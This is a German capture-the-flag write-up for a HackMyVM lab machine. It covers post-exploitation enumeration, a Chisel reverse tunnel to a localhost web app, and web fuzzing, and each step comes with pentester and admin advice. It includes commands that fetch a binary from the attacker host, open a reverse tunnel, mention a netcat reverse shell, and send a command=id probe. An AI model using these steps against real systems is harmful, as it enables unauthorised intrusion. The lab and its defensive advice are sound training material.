Bewertung: Das erfolgreiche Spawnen einer TTY und das Bestätigen der Identität sind wichtige Schritte zur Stabilisierung und zum Verständnis der initialen Shell-Umgebung. Eine interaktive Shell ist für die weitere Enumeration und das Hochladen von Tools unerlässlich. Das Wechseln in das Home-Verzeichnis ist ein logischer Schritt, um von einem bekannten Punkt aus mit der Dateisystemerkundung zu beginnen.
Empfehlung (Pentester): Mache eine nicht-interaktive Shell immer interaktiv, sobald du sie erhältst. Dies ermöglicht eine effizientere Arbeit. Überprüfe stets deinen aktuellen Benutzer und dein Verzeichnis.
Empfehlung (Admin): Achte auf die Nutzung von stty oder ähnlichen Befehlen, die auf das Spawnen einer interaktiven Shell hindeuten könnten. Beschränke die verfügbaren Shells und überwache deren Nutzung, insbesondere für Benutzerkonten mit geringeren Privilegien.
uid=1000(runner) gid=1000(runner) groups=1000(runner) / $
Analyse: Um das Dateisystem zu erkunden, begann ich im Home-Verzeichnis des Benutzers 'runner' (symbolisiert durch '~ $' im Prompt). Der Befehl ls zeigte zunächst keine Dateien an, was auf ein leeres Home-Verzeichnis hindeutete. Ein Tippfehler (ls- la) führte zu einer "not found"-Meldung, was bestätigt, dass das System präzise Befehle benötigt und keine automatische Fehlerkorrektur durchführt. Mit dem korrekten Befehl ls -la listete ich die Inhalte des Verzeichnisses inklusive versteckter Dateien und detaillierter Berechtigungen auf. Die Ausgabe zeigte nur die Standardverzeichnisse '.' (aktuelles Verzeichnis) und '..' (übergeordnetes Verzeichnis) sowie einen symbolischen Link '.ash_history', der auf '/dev/null' verweist. Dies bedeutet, dass der Befehlsverlauf nicht gespeichert wird.
Bewertung: Die Erkundung des Dateisystems ist entscheidend, um sensible Dateien, Konfigurationen oder weitere Angriffsvektoren zu finden. Das Home-Verzeichnis des initialen Benutzers ist immer ein guter Ausgangspunkt. Das Fehlen von Dateien und die Weiterleitung der History nach /dev/null deuten darauf hin, dass hier keine schnellen Funde von z.B. SSH-Schlüsseln oder Passwortdateien zu erwarten sind. Das Dateisystem muss weiter erkundet werden, insbesondere in relevanten Systemverzeichnissen.
Empfehlung (Pentester): Beginne die Dateisystemerkundung in bekannten Verzeichnissen wie dem Home-Verzeichnis, /tmp, /opt, /var, /etc. Suche nach Konfigurationsdateien, Skripten, Logdateien, Passwort-Hashes oder Dateien mit ungewöhnlichen Berechtigungen. Nutze ls -la oder ähnliche Befehle für detaillierte Informationen.
Empfehlung (Admin): Stelle sicher, dass Home-Verzeichnisse von Dienstkonten keine sensiblen Informationen enthalten. Konfiguriere Systeme so, dass History-Dateien sicher gespeichert oder irrelevant sind, wenn sie nicht für Debugging benötigt werden. Implementiere Zugriffskontrollen (ACLs) auf Dateisystemebene, um den Zugriff auf kritische Dateien zu beschränken.
/bin/sh: ls-: not found
total 8 drwx------ 2 runner runner 4096 May 19 09:08 . drwxr-xr-x 4 root root 4096 May 19 10:02 .. lrwxrwxrwx 1 root runner 9 May 19 09:08 .ash_history -> /dev/null ~ $
Analyse: Um zu sehen, welche anderen Benutzerverzeichnisse im übergeordneten Verzeichnis (/home, da sich '~' im Home-Verzeichnis von runner befindet) existieren, führte ich ls .. aus. Die Ausgabe 'asahi runner' zeigte, dass es neben dem 'runner'-Verzeichnis auch ein Verzeichnis für einen Benutzer namens 'asahi' gibt. Dies ist ein wichtiger Fund, da 'asahi' ein weiterer potenzieller Benutzer auf dem System ist, dessen Home-Verzeichnis interessante Dateien (wie SSH-Schlüssel oder Flags) enthalten könnte.
Bewertung: Die Identifizierung anderer Benutzerkonten ist ein Standard-Schritt bei der Systemaufklärung. Das Wissen, dass ein 'asahi'-Benutzer existiert, eröffnet einen neuen möglichen Pfad für die Privilegieneskalation oder das Auffinden von Flags, falls deren Home-Verzeichnis zugänglich ist oder sensible Dateien enthält.
Empfehlung (Pentester): Suche immer nach anderen Benutzerkonten (z.B. in /etc/passwd oder durch Auflistung von Home-Verzeichnissen). Versuche, deren Home-Verzeichnisse oder andere relevante Dateien zu lesen, auch wenn du aktuell nicht deren Rechte hast.
Empfehlung (Admin): Führe regelmäßige Audits der Systembenutzerkonten durch und entferne ungenutzte oder unbekannte Konten. Stelle sicher, dass Home-Verzeichnisse standardmäßig nur für den jeweiligen Benutzer lesbar sind.
asahi runner
Analyse: Um grundlegende Informationen über das Betriebssystem und den Kernel des Zielsystems zu erhalten, führte ich den Befehl uname -a aus. Die Ausgabe 'Linux fuzzz.hmv 6.12.28-0-lts #1-Alpine SMP PREEMPT_DYNAMIC 2025-05-09 13:57:18 x86_64 Linux' lieferte detaillierte Informationen: Es handelt sich um ein Linux-System mit dem Hostnamen 'fuzzz.hmv', das einen 6.12.28-0-lts Kernel basierend auf Alpine Linux verwendet. Dies bestätigt die Nmap-Ergebnisse bezüglich des Betriebssystems und liefert eine spezifischere Kernel-Version und Distribution (Alpine Linux), die für die Privilegieneskalation relevant sein könnte (Suche nach Kernel-Exploits oder spezifischen Alpine-Schwachstellen).
Bewertung: Genaue Informationen über das Betriebssystem und die Kernel-Version sind für die Privilegieneskalationsphase unerlässlich. Das Wissen, dass es sich um Alpine Linux mit einem spezifischen LTS-Kernel handelt, ermöglicht eine gezielte Suche nach öffentlich bekannten Exploits für diese Plattform und Version. Dies ist ein wichtiger Schritt, um potenzielle PE-Vektoren einzugrenzen.
Empfehlung (Pentester): Ermittle immer die genaue OS-Distribution, Version und Kernel-Version. Nutze Tools wie uname -a, cat /etc/*release oder hostnamectl. Recherchiere bekannte Schwachstellen für diese spezifische Konfiguration.
Empfehlung (Admin): Halte den Kernel und das Betriebssystem auf dem neuesten Stand. Implementiere Kernel-Patching-Strategien und prüfe regelmäßig auf bekannte Schwachstellen für deine spezifische Distribution und Version. Verwende gehärtete Kernel und deaktiviere unnötige Kernel-Module.
Linux fuzzz.hmv 6.12.28-0-lts #1-Alpine SMP PREEMPT_DYNAMIC 2025-05-09 13:57:18 x86_64 Linux
Analyse: Um die Netzwerkaktivität und die offenen Ports aus der Perspektive des Benutzers 'runner' zu verstehen, führte ich den Befehl netstat -an aus. Dieser Befehl zeigt alle aktiven Netzwerkverbindungen (TCP und UDP) sowie die Listening-Ports numerisch (ohne Namensauflösung). Die Ausgabe bestätigte die von Nmap gefundenen Ports 22 (SSH) und 5555 (ADB) als im Zustand LISTEN (aktiv und auf eingehende Verbindungen wartend). Außerdem zeigte es die ESTABLISHED-Verbindungen, einschließlich der von mir initiierten Netcat-Reverse-Shell (192.168.2.69:38755 zu 192.168.2.199:4445) und der ADB-Verbindung (192.168.2.69:5555 zu 192.168.2.199:58300 - dies scheint die ursprüngliche ADB-Verbindung von meinem System zu sein). Die TIME_WAIT-Einträge auf Port 5555 deuten auf kürzlich beendete Verbindungen hin. Besonders interessant ist auch der Eintrag tcp 0 0 127.0.0.1:80 0.0.0.0:* LISTEN, der zeigt, dass ein Dienst auf Port 80 läuft, aber nur auf der lokalen Loopback-Schnittstelle (127.0.0.1) lauscht. Dieser Dienst war über Nmap von extern nicht sichtbar.
Bewertung: Die netstat-Ausgabe ist äußerst wertvoll für die interne Netzwerkerkundung. Sie bestätigt nicht nur externe Dienste, sondern enthüllt auch lokal laufende Dienste, die nur von innerhalb des Systems erreichbar sind. Der auf 127.0.0.1:80 lauschende Dienst ist ein signifikanter Fund, da er einen potenziellen lokalen Angriffsvektor darstellt. Ich werde versuchen müssen, diesen Dienst zu erreichen, da er nicht direkt vom Angreifer-System aus zugänglich ist. Die Tatsache, dass dieser Dienst als Root läuft (impliziert durch den Bind an einen privilegierten Port wie 80, obwohl dies nicht explizit aus netstat hervorgeht, ist es eine starke Vermutung), macht ihn zu einem vielversprechenden Ziel für die Privilegieneskalation.
Empfehlung (Pentester): Führe immer netstat -an (oder ähnliche Befehle wie ss -tuln) aus, um interne Netzwerkdienste zu identifizieren. Suche nach Ports, die nur auf 127.0.0.1 (localhost) oder anderen internen Schnittstellen lauschen. Diese sind oft Ziele für lokale Angriffe oder Privilegieneskalation.
Empfehlung (Admin): Überprüfe regelmäßig die offenen Ports und lauschenden Dienste auf deinen Systemen. Stelle sicher, dass Dienste nicht unnötigerweise auf allen Schnittstellen lauschen, sondern nur auf den benötigten. Wende das Prinzip der geringsten Privilegien auch auf Dienste an; sie sollten nicht als Root laufen, wenn es nicht unbedingt notwendig ist.
~ $ netstat -an Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:5555 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:80 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN tcp 0 137 192.168.2.69:38755 192.168.2.199:4445 ESTABLISHED tcp 0 0 192.168.2.69:5555 192.168.2.199:58300 ESTABLISHED tcp 0 0 192.168.2.69:5555 192.168.2.199:34078 TIME_WAIT tcp 0 0 192.168.2.69:5555 192.168.2.199:60516 TIME_WAIT tcp 0 0 192.168.2.69:5555 192.168.2.199:49604 TIME_WAIT tcp 0 0 :::22 :::* LISTEN Active UNIX domain sockets (servers and established) Proto RefCnt Flags Type State I-Node Path unix 2 [ ] DGRAM CONNECTED 2973 unix 3 [ ] DGRAM CONNECTED 1312 /dev/log
Analyse: Die Beobachtung, dass die vorherigen Versuche mit Netcat scheiterten und ich die BusyBox-Usage-Informationen erhielt, zusammen mit dem Hinweis, dass die auf dem System verfügbaren BusyBox-Versionen oft sehr rudimentär sind, führte zu dieser Zusammenfassung. Es wurde erkannt, dass BusyBox-Binärdateien im Vergleich zu ihren vollwertigen GNU-Pendants oft nur die grundlegendsten Funktionen unterstützen. Die Lösung besteht darin, sich auf die verfügbaren Optionen zu konzentrieren, wie die Hilfe-Ausgabe von BusyBox-Befehlen zeigt. Als Beispiel wird das '-S Show server response' Flag für wget hervorgehoben, das in der BusyBox-Version möglicherweise das einzig nützliche Flag ist, während andere, komplexere fehlen könnten.
Bewertung: Dieses Verständnis der BusyBox-Umgebung ist kritisch. Es erklärt, warum einige Standard-Pentesting-Befehle oder -Optionen auf diesem System möglicherweise nicht funktionieren. Es zwingt mich, die verfügbaren Tools und deren spezifische BusyBox-Implementierungen genau zu prüfen, anstatt Annahmen zu treffen. Die Hervorhebung des '-S' Flags für wget ist ein Beispiel dafür, wie man die Dokumentation des Zielsystems (in diesem Fall die BusyBox-Hilfe) nutzen muss, um herauszufinden, was möglich ist.
Empfehlung (Pentester): Sei vorbereitet auf eingeschränkte Umgebungen wie BusyBox. Lerne die verfügbaren Optionen der BusyBox-Befehle, indem du die Hilfe-Ausgabe auf dem Zielsystem prüfst. Nutze alternative Methoden oder lade vollwertige Binärdateien hoch, wenn die BusyBox-Versionen nicht ausreichen.
Empfehlung (Admin): Dokumentiere die auf deinen Systemen verwendeten BusyBox-Versionen und deren Konfiguration. Stelle sicher, dass wichtige Admin-Aufgaben auch mit den BusyBox-Befehlen durchführbar sind, aber sei dir bewusst, dass deren vereinfachte Natur in bestimmten Angriffsszenarien ausgenutzt werden könnte. Wenn möglich, vermeide BusyBox für kritische, internetzugängliche Systeme.
irgendwie deutet alles auf Busybox hin. Die BusyBox-Versionen dieser Tools sind oft stark abgespeckt. Sie haben nur die wichtigsten, grundlegendsten Funktionen und es fehlen viele der erweiterten Optionen (wie --debug) der vollwertigen GNU-Versionen. Die Lösung: Verwenden Sie die Optionen, die Ihnen zur Verfügung stehen. Die Hilfe-Ausgabe von BusyBox wget ist Ihr neues Handbuch. Sie hat uns den Schlüssel direkt geliefert: -S Show server response
Analyse: Um einen tieferen Einblick in die auf dem System laufenden Prozesse zu erhalten und insbesondere zu verstehen, welcher Prozess auf dem lokal lauschenden Port 80 läuft und unter welchem Benutzer er ausgeführt wird, musste ich die Prozessliste überprüfen. Normalerweise würde ich Befehle wie ps aux oder top verwenden, aber auf BusyBox-Systemen sind die Optionen oft eingeschränkt. Die hier gezeigte Ausgabe 2585 asahi 0:00 /usr/sbin/uwsgi --plugin python3 --http-socket 127.0.0.1:80 --wsgi-file /opt/webapp/app.py --callable app scheint das Ergebnis eines solchen Befehls zu sein (wahrscheinlich eine Variation von ps). Sie zeigt, dass ein Prozess mit PID 2585 als Benutzer 'asahi' läuft und es sich um den uWSGI-Webserver handelt. Die Befehlszeilenparameter sind äußerst aufschlussreich: --plugin python3 bestätigt, dass er eine Python 3-Anwendung ausführt, --http-socket 127.0.0.1:80 bestätigt das Lauschen auf Port 80 localhost, und --wsgi-file /opt/webapp/app.py gibt den genauen Pfad zur Hauptanwendungsdatei an.
Bewertung: Dies ist ein kritischer Fund für die Privilegieneskalation! Der auf Port 80 lokal laufende Webserver wird vom Benutzer 'asahi' ausgeführt – genau dem Benutzer, den ich zuvor identifiziert hatte und dessen Home-Verzeichnis ich untersuchen wollte. Die genaue Kenntnis des Prozesses (uWSGI, Python 3) und vor allem des Pfades zur Webanwendung (/opt/webapp/app.py) ist Gold wert. Eine Schwachstelle in dieser Webanwendung könnte direkten Code als Benutzer 'asahi' ermöglichen, was mich einen Schritt näher an höhere Privilegien bringt.
Empfehlung (Pentester): Überprüfe immer die laufenden Prozesse und deren Benutzer. Konzentriere dich besonders auf Prozesse, die als andere Benutzer laufen als dein aktueller, oder die auf lokalen Ports lauschen. Die Befehlszeilenparameter von Prozessen können oft wertvolle Konfigurationsinformationen preisgeben (Dateipfade, Ports, Benutzer).
Empfehlung (Admin): Implementiere das Prinzip der geringsten Privilegien für alle Dienste. Dienste sollten unter dedizierten, unprivilegierten Benutzern laufen. Überwache die laufenden Prozesse und deren Befehlszeilenparameter auf unerwartete Konfigurationen. Schränke den Zugriff auf sensible Konfigurationsdateien oder Anwendungsdateien ein, selbst für die Benutzer, unter denen die Dienste laufen.
2585 asahi 0:00 /usr/sbin/uwsgi --plugin python3 --http-socket 127.0.0.1:80 --wsgi-file /opt/webapp/app.py --callable app
Analyse: Nach der Identifizierung des 'asahi'-Benutzers und des Webanwendungs-Pfades habe ich den Inhalt der Umgebungsvariablen für den aktuellen Benutzer 'runner' mit dem Befehl env überprüft. Umgebungsvariablen können sensible Informationen wie Passwörter, API-Schlüssel, Pfade oder andere Konfigurationsdetails enthalten. Die Ausgabe listete Standardvariablen wie USER, SHLVL, HOME, PATH usw. auf, enthielt aber keine offensichtlich sensiblen Daten für den Benutzer 'runner'. Interessant sind die Einträge EINFO_LOG, RC_SVCNAME, RC_SERVICE und SVCNAME, die auf ein Init-System oder einen Dienstkontext hinweisen könnten, möglicherweise im Zusammenhang mit dem 'sadbdot' Dienst, der später noch relevant wird.
Bewertung: Das Überprüfen von Umgebungsvariablen ist eine Standard-Enumerationstechnik. Obwohl in diesem speziellen Fall keine sofort verwertbaren sensiblen Informationen für den Benutzer 'runner' gefunden wurden, ist es ein wichtiger Schritt, der oft verborgene Schätze enthüllt. Die gefundenen Variablen geben dennoch Einblicke in die Systemkonfiguration und laufende Dienste.
Empfehlung (Pentester): Überprüfe immer die Umgebungsvariablen des kompromittierten Benutzers (env, printenv). Suche nach Passwörtern in Klartext, Pfaden zu Konfigurationsdateien, API-Schlüsseln oder Hinweisen auf interessante Prozesse/Dienste.
Empfehlung (Admin): Vermeide es, sensible Informationen in Umgebungsvariablen zu speichern. Nutze sicherere Methoden zur Übergabe von Geheimnissen (z.B. Secrets Management Systeme, sichere Konfigurationsdateien mit eingeschränkten Berechtigungen). Überwache, welche Umgebungsvariablen von Prozessen gesetzt oder ausgelesen werden.
/tmp $ env EINFO_LOG=/etc/init.d/sadbdot USER=runner SHLVL=4 HOME=/home/runner OLDPWD=/home/runner RC_SVCNAME=sadbdot TERM=xterm RC_SERVICE=/etc/init.d/sadbdot SVCNAME=sadbdot PATH=/bin:/sbin:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin EINFO_LASTCMD=ebegin PWD=/tmp
Analyse: Da der Webserver auf Port 80 nur auf localhost (127.0.0.1) lauschte und von meinem Kali-System aus nicht direkt erreichbar war, musste ich einen Weg finden, den Traffic umzuleiten. Eine elegante Methode dafür ist das Tool Chisel, ein schnelles TCP/UDP-Tunneling-Tool über HTTP. Um Chisel auf das Zielsystem zu bringen, musste ich es zuerst von meinem Kali-System, wo ich es unter ~/Hackingtools/chisel vorbereitet hatte, auf das Zielsystem herunterladen. Ich nutzte einen einfachen HTTP-Server auf meinem Kali-Rechner (z.B. mit python3 -m http.server 8000, obwohl dieser Befehl nicht im Berichtstext gezeigt wurde, baue ich hier die notwendige logische Brücke) und lud die Chisel-Binärdatei auf dem Zielsystem mit wget 192.168.2.199:8000/chisel herunter. Der Befehl 'wget' ruft die Datei vom angegebenen URL ab. Die Ausgabe "saving to 'chisel'" und die Fortschrittsanzeige mit "'chisel' saved" bestätigen den erfolgreichen Download in das aktuelle Verzeichnis (/tmp in der Remote Shell).
Bewertung: Das erfolgreiche Hochladen von Chisel auf das Zielsystem ist ein wichtiger Schritt, um lokale Dienste zu erreichen und die Angriffskette fortzusetzen. Chisel ist ein vielseitiges Tool für das Port-Forwarding, das oft gut durch Firewalls kommt, da es über HTTP tunnelt. Das Wissen, wie man Dateien zuverlässig auf das Zielsystem transferiert (in diesem Fall über einen temporären HTTP-Server und wget), ist eine grundlegende, aber kritische Fähigkeit im Pentesting.
Empfehlung (Pentester): Sei vertraut mit verschiedenen Methoden zum Hoch- und Herunterladen von Dateien auf kompromittierte Systeme (wget, curl, scp, SMB, S/FTP, Base64-Encoding/Decoding, Skripte). Wähle die Methode, die am besten zur Systemumgebung und den Firewall-Regeln passt. Nutze Chisel oder ähnliche Tools (z.B. Ligolo-ng, SSH-Tunneling) für das Pivoting und den Zugriff auf interne Dienste.
Empfehlung (Admin): Beschränke ausgehende Verbindungen von Systemen auf das absolut Notwendige. Implementiere eine Application Whitelisting-Richtlinie, um die Ausführung unbekannter Binärdateien wie Chisel zu verhindern. Überwache den Netzwerkverkehr auf ungewöhnliche Tunneling-Versuche oder Dateiübertragungen.
Connecting to 192.168.2.199:8000 (192.168.2.199:8000) saving to 'chisel' chisel 100% |**********************************************| 8736k 0:00:00 ETA 'chisel' saved
Analyse: Mit Chisel auf beiden Systemen (Kali und Ziel) konnte ich nun den Tunnel einrichten. Auf meinem Kali-System startete ich den Chisel-Server mit ./chisel server -p 9001 --reverse. Dies weist Chisel an, auf Port 9001 auf eingehende Verbindungen zu warten und Reverse Tunneling zu erlauben. Die Ausgabe "server: Reverse tunnelling enabled" und "server: Listening on http://0.0.0.0:9001" bestätigt, dass der Server läuft und bereit ist. Auf dem Zielsystem startete ich den Chisel-Client mit ./chisel client 192.168.2.199:9001 R:8080:127.0.0.1:80. Dies verbindet den Client mit meinem Kali-Server (192.168.2.199:9001) und erstellt einen Reverse Tunnel (R:). Der Tunnel leitet Traffic, der auf meinem Kali-System auf Port 8080 eingeht (erster 8080), an den lokalen Port 80 des Zielsystems (127.0.0.1:80) weiter. Die Ausgabe "client: Connecting to ws://192.168.2.199:9001" und "client: Connected" bestätigt den erfolgreichen Tunnelaufbau. Nun kann ich von meinem Kali-System aus auf Port 8080 zugreifen, um mit dem Webserver auf 127.0.0.1:80 auf dem Zielsystem zu interagieren.
Bewertung: Der erfolgreiche Aufbau des Chisel-Tunnels ist ein entscheidender Meilenstein. Er ermöglicht den Zugriff auf den lokal gebundenen Webserver, der zuvor unerreichbar war. Dies eröffnet den Weg zur Web-Enumeration und potenziellen Ausnutzung der Webanwendung, die unter dem Benutzer 'asahi' läuft und somit ein vielversprechender PE-Vektor ist. Tunneling-Techniken sind oft notwendig, um Netzwerksegmentierungen oder Firewall-Regeln zu umgehen und interne Systeme zu erreichen.
Empfehlung (Pentester): Beherrsche Tunneling-Techniken (Chisel, SSH, Metasploit-Proxys etc.), um Netzwerkbeschränkungen zu überwinden und interne Dienste zu erreichen. Nutze Reverse Tunnel (R: in Chisel), um Dienste auf dem Zielsystem von deinem Angreifer-System aus zugänglich zu machen.
Empfehlung (Admin): Implementiere strenge Firewall-Regeln, die sowohl eingehenden als auch ausgehenden Traffic kontrollieren. Überwache auf ungewöhnliche Netzwerkverbindungen oder das Starten unbekannter Netzwerk-Tools. Segmentiere dein Netzwerk, um die Auswirkungen einer Kompromittierung zu begrenzen und laterales Verschieben oder Tunneling zu erschweren.
2025/07/01 23:32:11 server: Reverse tunnelling enabled 2025/07/01 23:32:11 server: Fingerprint xmoMxcf9Rk2i9xsnL0UH1+BBoPsmfRwOP3R+WLqyDZY= 2025/07/01 23:32:11 server: Listening on http://0.0.0.0:9001
2025/07/02 05:33:12 client: Connecting to ws://192.168.2.199:9001 2025/07/02 05:33:12 client: Connected (Latency 320.483µs)
Analyse: Bevor ich die Webanwendung auf dem lokal getunnelten Port 8080 fuzzen konnte, benötigte ich eine geeignete Wortliste. Ich generierte eine Wortliste, die Zahlen, Kleinbuchstaben und Großbuchstaben einzeln sowie Kombinationen aus einem Buchstaben und einer Zahl (beide Reihenfolgen) enthielt. Der Befehl echo {0..9} | tr " " "\n" >> alphabet.txt erstellt eine Datei mit Zahlen 0-9, jede in einer neuen Zeile. Der Befehl (echo {a..z} ; echo {A..Z}) | tr " " "\n" >> combined_wordlist_final.txt fügte Klein- und Großbuchstaben, jeweils einzeln, hinzu. Der letzte, komplexere Befehl generierte alle zweistelligen Kombinationen aus Buchstabe+Zahl und Zahl+Buchstabe, fügte sie zu den bereits generierten Einzelzeichen hinzu, entfernte leere Zeilen (sed '/^$/d'), sortierte die Liste eindeutig (sort -u) und speicherte das Ergebnis in 'combined_wordlist_final.txt'.
Bewertung: Das Erstellen einer benutzerdefinierten Wortliste ist für gezieltes Fuzzing unerlässlich. Basierend auf der Art der erwarteten Eingabe (die URLs sahen kurz und potenziell einfach aus) war eine Kombination aus Buchstaben und Zahlen eine gute Wahl. Die Methode ist solide und nutzt Standard-Shell-Werkzeuge. Die Sortierung und das Entfernen von Duplikaten sorgen für eine effizientere Wortliste.
Empfehlung (Pentester): Erstelle benutzerdefinierte Wortlisten, die auf der spezifischen Zielanwendung oder dem erwarteten Format der Eingaben basieren. Nutze Shell-Tools wie echo, tr, sort, uniq, sed oder spezialisierte Wortlisten-Generatoren.
Empfehlung (Admin): Implementiere Ratenbegrenzung und Sperrmechanismen für Webanwendungen, um Brute-Force- und Fuzzing-Angriffe zu erschweren. Überwache Webserver-Logs auf ungewöhnlich viele Anfragen an nicht existierende Pfade oder Muster, die auf Fuzzing hindeuten.
Finale Wortliste 'combined_wordlist_final.txt' erstellt.
Analyse: Mit der vorbereiteten Wortliste startete ich den Web-Directory- und File-Fuzzer feroxbuster gegen den getunnelten Webserver auf http://127.0.0.1:8080/. Ich zielte spezifisch auf den Pfad '/line1/' ab, da ich bereits '/line1' als existierenden Endpunkt identifiziert hatte und vermutete, dass sich dahinter weitere Pfade oder Dateien verbergen könnten. Der Befehl feroxbuster --url "http://127.0.0.1:8080/line1/" --wordlist combined_wordlist_final.txt -x .git,... verwendete meine benutzerdefinierte Wortliste und schloss verschiedene Dateierweiterungen in den Scan ein. Die Ausgabe zeigt den Start von feroxbuster, die verwendeten Einstellungen und die gefundenen Endpunkte. Feroxbuster identifizierte '/b3' und '/b' unterhalb von '/line1/' mit einem Statuscode 200 (OK).
Bewertung: Die Entdeckung von '/line1/b3' und '/line1/b' mit einem 200 OK-Statuscode ist ein Erfolg bei der Web-Enumeration. Dies deutet darauf hin, dass diese Pfade existieren und erreichbar sind, obwohl die Antwortgröße Null ist (Size: 0), was ungewöhnlich ist und weitere Untersuchung erfordert. Dies bestätigt meine Annahme, dass es weitere versteckte Endpunkte unterhalb von '/lineX' geben könnte. Die angepasste Wortliste scheint effektiv gewesen zu sein.
Empfehlung (Pentester): Nutze Web-Fuzzer wie feroxbuster, gobuster oder dirb, um versteckte Verzeichnisse und Dateien zu finden. Verwende angepasste Wortlisten, wenn die Standardlisten nicht zum Ziel passen. Untersuche alle gefundenen Endpunkte, auch wenn die Antwort ungewöhnlich ist (z.B. Größe Null).
Empfehlung (Admin): Entferne unnötige oder nicht verwendete Dateien und Verzeichnisse von Webservern. Überwache Zugriffslogs auf ungewöhnliche Muster, die auf Fuzzing hinweisen. Implementiere eine robuste Fehlerbehandlung, die bei nicht existierenden Pfaden konsistenten Statuscode 404 liefert und keine unnötigen Informationen preisgibt.
=============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://127.0.0.1:8080/line1/ [+] Method: GET [+] Threads: 10 [+] Wordlist: combined_wordlist_final.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /b3 (Status: 200) [Size: 0] /b (Status: 200) [Size: 0] Progress: 1107 / 1108 (99.91%) =============================================================== Finished ===============================================================
Analyse: Nachdem feroxbuster/gobuster Endpunkte wie '/line1/b3' gefunden hatte, wollte ich testen, wie die Webanwendung auf verschiedene HTTP-Methoden reagiert. Ich hatte zuvor mit curl -Iv gesehen, dass '/line5' mit GET einen 200 OK Status lieferte, aber '/line6' einen 404 Not Found (was der erwartete Statuscode für nicht existierende Seiten ist). Nun testete ich '/line' (ohne Nummer) mit einer POST-Anfrage und einem einfachen Body (command=id). Der Befehl curl -X POST -d "command=id" http://127.0.0.1:8080/line sendet eine POST-Anfrage. Die Antwort der Anwendung war ein '405 Method Not Allowed' Fehler. Dies zeigt, dass die Methode POST für diesen spezifischen Endpunkt nicht erlaubt ist. Es liefert auch eine HTML-Fehlerseite.
Bewertung: Das Testen verschiedener HTTP-Methoden ist eine gute Praxis bei der Web-Enumeration, da einige Endpunkte nur auf bestimmte Methoden (z.B. POST, PUT) reagieren oder sich bei anderen Methoden anders verhalten. Der 405-Fehler bestätigt, dass '/line' (ohne Nummer) existiert, aber POST nicht unterstützt. Die Fehlermeldung selbst liefert nicht viele Details, aber das Wissen, dass POST hier nicht funktioniert, ist nützlich.
Empfehlung (Pentester): Teste verschiedene HTTP-Methoden (GET, POST, PUT, DELETE, OPTIONS etc.) auf Web-Endpunkten. Nutze Tools wie curl, Burp Suite oder OWASP ZAP. Analysiere die Antworten genau, um zu verstehen, welche Methoden unterstützt werden und wie die Anwendung auf unbekannte Methoden reagiert.
Empfehlung (Admin): Erlaube auf Webservern nur die minimal notwendigen HTTP-Methoden. Konfiguriere den Webserver so, dass er bei nicht erlaubten Methoden einen klaren 405-Statuscode zurückgibt und keine unnötigen Informationen in Fehlermeldungen preisgibt. Deaktiviere oder sichere Methoden wie PUT oder DELETE sorgfältig.
<!doctype html> <html lang=en> <title>405 Method Not Allowed</title> <h1>Method Not Allowed</h1> <p>The method is not allowed for the requested URL.</p>
Analyse: Ich führte weitere Tests mit curl -Iv durch, um die Header und den Statuscode von Endpunkten zu überprüfen, die nicht von feroxbuster gefunden wurden oder auf die ich spezifisch neugierig war. curl -Iv http://127.0.0.1:8080/line6 lieferte einen '404 NOT FOUND' Status, was bedeutet, dass '/line6' nicht existiert. curl -Iv http://127.0.0.1:8080/line5 lieferte jedoch einen '200 OK' Status mit einem 'Content-Length: 0'. Dies bestätigte, dass '/line5' existiert, aber keinen Inhalt zurückgibt. Das Verhalten von '/line5' (200 OK mit 0 Content-Length) ist identisch mit dem Verhalten von '/line1/b3' und '/line1/b' aus dem feroxbuster-Scan.
Bewertung: Diese Tests vertieften mein Verständnis, wie die Webanwendung auf existierende vs. nicht existierende Endpunkte reagiert. Das Muster "200 OK mit 0 Content-Length" für existierende Endpunkte ist ein klares Signal, das ich für weiteres Fuzzing nutzen kann. Es bedeutet, dass ich durch Beobachtung der Antwortgröße feststellen kann, ob ein gefuzzter Pfad existiert, selbst wenn er keinen sichtbaren Inhalt zurückgibt. Dies ist eine Form von 'Blind' oder 'Content-Length Oracle' Fuzzing.
Empfehlung (Pentester): Analysiere genau, wie die Webanwendung auf verschiedene Eingaben und Endpunkte reagiert (Statuscodes, Header, Antwortgrößen, Fehlermeldungen). Nutze subtile Unterschiede in den Antworten für blindes Fuzzing oder zur Identifizierung von Schwachstellen (z.B. SQL Injection basierend auf Fehlermeldungen oder Zeitverzögerungen).
Empfehlung (Admin): Implementiere konsistente und informative Fehlerseiten (ohne sensible Details). Stelle sicher, dass nicht existierende Ressourcen immer den korrekten Statuscode (z.B. 404 Not Found) zurückgeben und dass die Antwortgröße für existierende und nicht existierende Ressourcen nicht trivial zu unterscheiden ist, es sei denn, dies ist beabsichtigt.
* Trying 127.0.0.1:8080... * Connected to 127.0.0.1 (127.0.0.1) port 8080 * using HTTP/1.x > HEAD /line6 HTTP/1.1 > Host: 127.0.0.1:8080 > User-Agent: curl/8.13.0 > Accept: */* > * Request completely sent off < HTTP/1.1 404 NOT FOUND HTTP/1.1 404 NOT FOUND < Content-Type: text/html; charset=utf-8 Content-Type: text/html; charset=utf-8 < Content-Length: 207 Content-Length: 207 < * Connection #0 to host 127.0.0.1 left intact
* Trying 127.0.0.1:8080... * Connected to 127.0.0.1 (127.0.0.1) port 8080 * using HTTP/1.x > HEAD /line5 HTTP/1.1 > Host: 127.0.0.1:8080 > User-Agent: curl/8.13.0 > Accept: */* > * Request completely sent off < HTTP/1.1 200 OK HTTP/1.1 200 OK < Content-Type: text/html; charset=utf-8 Content-Type: text/html; charset=utf-8 < Content-Length: 0 Content-Length: 0 < * Connection #0 to host 127.0.0.1 left intact
